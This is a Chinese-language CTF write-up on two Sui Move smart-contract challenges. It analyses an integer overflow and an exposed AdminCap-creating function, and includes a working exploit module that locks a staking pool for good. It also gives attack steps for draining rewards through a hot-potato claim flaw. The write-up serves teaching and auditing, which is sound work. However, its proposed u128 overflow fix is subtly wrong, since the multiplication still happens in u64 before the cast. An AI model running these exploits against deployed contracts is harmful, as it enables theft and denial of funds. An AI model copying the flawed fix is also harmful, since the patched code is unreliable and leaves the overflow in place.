sui_basecamp_ctf(2)
字数 1632 2025-09-23 19:27:38
Sui区块链CTF挑战:Deadlock Finance与Hot Potato Finance漏洞分析与利用教学
1 Deadlock Finance挑战
1.1 挑战目标
- 确保用户无法解除质押资金
- 永久锁定合约,禁止任何形式的提取、撤回或转移操作
- 通过使
is_solved函数调用失败来完成挑战
1.2 漏洞分析
1.2.1 关键函数分析
public fun is_solved(challenge: &mut Challenge<COIN>, clock: &Clock, ctx: &mut TxContext) {
let (min_stake, _) = challenge.pool.get_stake_limits();
let stake = challenge.coin_supply.increase_supply(min_stake);
challenge.pool.stake(coin::from_balance(stake, ctx), clock, ctx);
}
该函数仅调用get_stake_limits()和stake()函数,其中:
get_stake_limits()为只读函数,不会出错stake()函数包含可能触发错误的断言
1.2.2 stake函数关键断言
let rewards = calculate_rewards(amount, pool.apr, pool.apr_base, pool.duration);
assert!(rewards <= pool.available_rewards.value());
1.2.3 calculate_rewards函数
public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
if (amount == 0) {
return 0
};
let rewards = (amount * apr) / apr_base;
let rewards = rewards * duration / YEAR_IN_SECONDS;
rewards
}
1.3 攻击向量:整数溢出
1.3.1 溢出条件
- 初始
available_reward为1000 - 需要使
rewards > 1000触发断言失败 - 通过修改
apr和duration实现溢出
1.3.2 利率限制检查
const MAX_APR_PERCENTAGE: u64 = 1000;
fun check_apr(apr: u64, decimals: u8) {
assert!(decimals >= MIN_APR_DECIMALS && decimals <= MAX_APR_DECIMALS);
let apr_percentage = ((apr as u128) * 100u128 / 10u128.pow(decimals)) as u64;
assert!(apr_percentage >= MIN_APR_PERCENTAGE && apr_percentage <= MAX_APR_PERCENTAGE);
}
1.3.3 溢出计算
amount= 200 (min_stake)- 设置
apr= 10¹⁸,apr_base= 10¹⁸ amount * apr= 200 × 10¹⁸ = 2 × 10²⁰- u64最大值:1.844 × 10¹⁹
- 计算结果溢出,导致交易回滚
1.4 攻击实施
1.4.1 利用AdminCap漏洞
public fun create<T>(
apr: u64,
apr_decimals: u8,
duration: u64,
cooldown: u64,
min_stake: u64,
max_stake: u64,
rewards: Coin<T>,
ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
// 任何人都可调用此public函数创建AdminCap
}
1.4.2 攻击代码(EXP)
module the_solution::solution;
use challenge::challenge::Challenge;
use challenge::staking;
use challenge::coin::COIN;
const NEW_APR_DECIMALS: u8 = 18;
#[allow(lint(self_transfer))]
public fun solve(challenge: &mut Challenge<COIN>, ctx: &mut TxContext) {
let coins = challenge.claim_coin(ctx);
let pool = challenge.get_pool();
// 创建新的Pool和AdminCap
let (pool2, admin_cap) = staking::create<COIN>(
1000, 3, 90 * 24 * 60 * 60, 24 * 60 * 60, 200, 1_000_000, coins, ctx
);
// 设置高精度APR导致溢出
pool.update_apr(&admin_cap, (10u128.pow(18)) as u64, NEW_APR_DECIMALS);
transfer::public_transfer(admin_cap, ctx.sender());
transfer::public_transfer(pool2, ctx.sender());
}
1.5 漏洞修复方案
1.5.1 根本修复:修改函数可见性
// 将public改为非公开
fun create<T>(
apr: u64,
apr_decimals: u8,
duration: u64,
cooldown: u64,
min_stake: u64,
max_stake: u64,
rewards: Coin<T>,
ctx: &mut TxContext,
): (Pool<T>, AdminCap) {
// 函数实现
}
1.5.2 辅助修复:防止整数溢出
public fun calculate_rewards(amount: u64, apr: u64, apr_base: u64, duration: u64): u64 {
if (amount == 0) {
return 0
};
// 使用u128防止溢出
let rewards = ( (amount * apr) as u128 / apr_base as u128 ) as u64;
let rewards = rewards * duration / YEAR_IN_SECONDS;
rewards
}
2 Hot Potato Finance挑战
2.1 挑战目标
- 通过调用
claim_complete()从池中索取超过2000个奖励 - 完全依赖索取功能将奖励直接存入钱包
2.2 漏洞分析
2.2.1 关键机制
claim_start(): 开始提取存款和奖励claim_step(): 计算其他用户的存款claim_complete(): 发放存款和奖励
2.2.2 奖励计算
奖励计算基于存款占比:
let user_evaluation = get_evaluation(user_deposit);
let total_evaluation = get_total_evaluation();
let rewards_amount = (user_evaluation * pool.rewards.value()) / total_evaluation;
2.2.3 漏洞利用点
claim_start()记录当前用户数量到HotPotatoclaim_complete()要求处理total_deposits - 1个用户- 可通过插入低份额用户绕过对高份额用户的处理
2.3 攻击实施
2.3.1 攻击步骤
- 调用
deposit_for()存入reward_coin - 由于oracle中无
reward_coin价格,评估值为0 - 调用
claim_start()开始索赔流程 - 插入低份额用户
- 调用
claim_step()处理低份额用户 - 调用
claim_complete()获取全部奖励
2.3.2 关键漏洞
- 存款时未正确验证
pool.stage == Stage::Depositing reward_coin评估值为0,但计入存款占比计算
2.4 修复方案
2.4.1 方案一:加强状态验证
public fun deposit_for(pool: &mut Pool, user: address, deposit: Coin) {
assert!(pool.stage == Stage::Depositing); // 添加状态验证
// 函数实现
}
2.4.2 方案二:完善HotPotato设计
struct ClaimingPotato {
id: UID,
pool_id: ID,
processed_users: VecSet<address>,
expected_users: VecSet<address>, // 添加预期用户记录
}
在claim_start时记录当前用户快照:
public fun claim_start(pool: &mut Pool, ctx: &mut TxContext): ClaimingPotato {
// 记录当前所有用户
let expected_users = vec_set::from_iter(table::keys(&pool.users));
ClaimingPotato {
id: object::new(ctx),
pool_id: object::id(pool),
processed_users: vec_set::empty(),
expected_users,
}
}
在claim_step中验证用户合法性:
public fun claim_step(potato: &mut ClaimingPotato, pool: &mut Pool, user: address) {
assert!(vec_set::contains(&potato.expected_users, user)); // 验证用户合法性
// 函数实现
}
3 总结
3.1 核心漏洞类型
- 权限控制漏洞:AdminCap创建函数可见性设置不当
- 整数溢出漏洞:数值计算未考虑边界情况
- 状态验证漏洞:关键操作缺少状态机验证
- 逻辑设计漏洞:业务逻辑设计不严谨
3.2 安全开发建议
- 严格管理函数可见性,特别是权限相关函数
- 数值计算使用更大数据类型或添加溢出检查
- 实现完整的状态机验证机制
- 关键操作记录完整快照信息
- 进行完整的边界情况测试
3.3 审计要点
- 检查所有权限管理函数的可见性
- 验证所有数值计算的边界情况
- 审查状态转换的逻辑完整性
- 检查业务逻辑的异常处理机制
通过深入理解这些漏洞类型和修复方案,开发者可以提高Sui智能合约的安全性,防止类似漏洞的发生。